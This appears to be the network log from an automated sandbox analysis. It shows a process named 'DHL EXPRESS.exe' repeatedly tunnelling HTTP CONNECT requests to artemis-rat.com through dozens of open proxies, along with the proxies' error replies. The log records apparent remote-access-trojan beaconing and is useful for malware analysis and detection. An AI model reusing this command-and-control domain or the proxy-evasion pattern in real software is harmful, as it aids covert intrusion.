Mar 11, 2024 18:36:45.404855967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	50348	104.25.167.88	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.405673981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.561959028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	50356	172.67.231.3	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.413243055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.569458961 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	50178	223.19.111.185	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.417474031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.745904922 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.8	50380	172.67.3.98	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.420423031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.574948072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.8	50384	104.24.193.186	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.422728062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.577182055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.8	50391	104.25.81.82	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.425606966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.579812050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.8	50204	91.189.177.186	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.426959991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.682912111 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.8	50203	161.97.74.176	30000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.427867889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.753482103 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.8	50243	163.172.147.9	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.436613083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	50168	43.133.136.208	8800	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.448262930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	50266	13.40.239.130	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.452182055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.758207083 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	50218	103.151.20.131	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.452847004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.785557032 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	50256	3.25.234.175	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.454355001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.760382891 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	50438	172.67.14.237	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.460237026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.614960909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	50222	8.222.239.209	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.460879087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
